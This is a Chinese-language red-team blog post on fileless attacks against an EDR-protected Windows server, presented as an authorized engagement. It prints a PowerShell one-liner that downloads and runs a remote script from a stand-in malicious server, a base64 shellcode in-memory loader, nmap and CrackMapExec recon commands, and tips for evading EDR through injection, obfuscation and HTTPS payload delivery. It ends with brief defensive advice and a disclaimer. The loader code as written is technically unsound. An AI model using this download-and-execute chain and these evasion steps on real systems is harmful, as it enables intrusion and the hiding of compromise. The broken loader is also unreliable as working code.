一、一次无文件攻击的“完美隐身”
有一次,在一次授权的红队测试中,我遇到的目标是一家金融机构,他们部署了一整套顶级的EDR产品。作为攻击者,传统的恶意软件和可执行文件很难突破这些防御。于是,我决定尝试一种更隐蔽的方式进行攻击:无文件攻击(Fileless Attack)。最终,我成功实现了目标的控制,并且从头到尾没有写入任何文件到磁盘。
无文件攻击并不是一个新概念,但它的威胁在于它几乎不依赖于传统的文件系统操作。攻击者可以直接利用内存执行代码,绕过大部分基于文件扫描的安全产品。接下来,我会从实战的角度,详细拆解无文件攻击的全过程,展示如何一步步完成目标的攻陷。
---
二、无文件攻击的核心:加载与执行
无文件攻击的关键在于如何将恶意代码加载到内存中并执行,而不触碰磁盘。通常有以下几种实现方式:
- 基于脚本解释器的执行:如 PowerShell、WMI、JavaScript 等。
- 进程注入:将恶意代码注入到合法进程中。
- 内存加载器:直接使用内存中的数据加载和执行代码。
- 逃逸技术:隐藏攻击流量或操作,比如 COM 对象劫持。
下面是一个典型的 PowerShell 无文件攻击片段,通过 Invoke-Expression 从远程加载并执行代码:
<pre><code class="language-ps1">$payload = IEX (New-Object Net.WebClient).DownloadString('http://malicious-server/payload.ps1')</code></pre>
但这只是最基础的实现形式,太过直接,很容易被检测。在实战中,我会对代码进行混淆,甚至通过加密方式进一步隐藏恶意内容。
---
三、实战环境搭建与目标探测
目标环境信息:
- 防护工具:EDR(Endpoint Detection and Response)
- 网络限制:仅允许 HTTP/HTTPS 出站流量
- 操作系统:Windows Server 2019
为了模拟目标环境,我搭建了以下实验环境:
- 攻击机:Kali Linux
- 目标机:Windows Server 2019 + Sysmon + EDR(模拟检测机制)
我首先在目标网络中进行信息收集,使用了以下工具和方法:
- 使用
nmap扫描目标开放的端口: - 使用内网探测工具(如 CrackMapExec)枚举 SMB 服务和共享资源:
<pre><code class="language-bash"> nmap -p- -sS -T4 192.168.1.100 `
`bash crackmapexec smb 192.168.1.100 `
通过一系列探测,我发现目标服务器开放了 80 和 445 端口,其中 80 是一个 Web 应用,445 提供了文件共享服务。
---
四、Payload 构造的艺术
无文件攻击的 payload 通常需要具备几个特性:
- 易于加载到内存。
- 高度混淆和免杀。
- 支持动态加载和执行。
为了实现上述目标,我设计了一个基于 PowerShell 的无文件攻击链。以下是完整的 payload:</code></pre>ps1
Base64编码后的shellcode
$encodedPayload = "TVqQAAMAAA..."
解码并加载shellcode到内存
$decodedPayload = [System.Convert]::FromBase64String($encodedPayload)
分配内存并写入shellcode
$memory = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($decodedPayload.Length) [System.Runtime.InteropServices.Marshal]::Copy($decodedPayload, 0, $memory, $decodedPayload.Length)
创建一个线程执行shellcode
$thread = [System.Threading.Thread]::New() $thread.Start([System.Delegate]::CreateDelegate([System.Action], $memory)) <pre><code> Payload 解读:
- 使用 Base64 编码隐藏 shellcode,为了绕过简单的字符串匹配检测。
- 动态分配内存并写入 shellcode,避免使用磁盘。
- 使用线程执行 shellcode,进一步提高隐蔽性。
---
五、绕过检测的细节操作
无文件攻击的成功率很大程度取决于如何绕过目标的检测机制。以下是我在实战中总结的几个技巧:
1. EDR 绕过
EDR 产品主要依赖于行为检测和内存分析,常见绕过方式包括:
- 进程伪装:将恶意代码注入到合法进程中,如
explorer.exe或notepad.exe。 - 混淆指令:使用工具(如 Obfuscator)对攻击代码进行混淆。
- 内存分块加载:将恶意代码分成多段加载,避免被完整扫描。
2. 流量隐藏
- 使用 HTTPS 传输 payload:
`bash openssl req -new -x509 -keyout server.key -out server.crt -days 365 ` 配置恶意服务器的 HTTPS 支持后,EDR 很难解密流量分析具体内容。
3. 代码混淆
通过工具如 Invoke-Obfuscation 对 PowerShell 代码进行深度混淆,让检测工具难以识别原始逻辑:</code></pre>ps1 Invoke-Obfuscation -ScriptBlock { <Your PowerShell Code> } <pre><code> ---
六、检测与防御的博弈
虽然无文件攻击难以检测,但通过一些针对性的防御措施仍然可以减少被攻击的风险:
- 监控内存活动:使用 Sysmon 记录内存中的异常加载行为。
- 限制 PowerShell 权限:将 PowerShell 的执行策略设置为
AllSigned,禁止运行未签名脚本。 - 流量检测:拦截和分析异常的 HTTPS 流量,尤其是目标访问未知域名时。
防御脚本示例:</code></pre>ps1
使用 PowerShell 检测非正常的网络连接
Get-NetTCPConnection | Where-Object { $_.RemoteAddress -notlike '192.168.*' } `
---

七、无文件攻击的未来发展方向
无文件攻击的隐蔽性使其成为 APT 攻击中的常用技术。未来,我认为它可能会朝以下两个方向发展:
- 多平台支持:不仅局限于 Windows,还会扩展到 Linux 和 macOS。
- AI 对抗:攻击者可能会利用机器学习技术生成更加智能的无文件攻击代码。

作为防守方,必须不断迭代防御手段,比如基于行为的检测、动态内存扫描、以及更智能的 AI 安全分析。

---
八、个人实战经验分享
在多年的红队生涯中,我深刻体会到无文件攻击的强大威力。以下是我的一些经验总结:
- 永远不要低估目标防御的强度。攻击链的每一步都需要考虑绕过防御。
- 保持攻击的灵活性。根据目标环境实时调整技术细节。
- 攻击前的准备是关键。信息收集的深入程度直接决定了攻击的成败。
最后提醒大家,本文的所有技术仅限于合法授权的渗透测试中使用,切勿滥用,后果自负。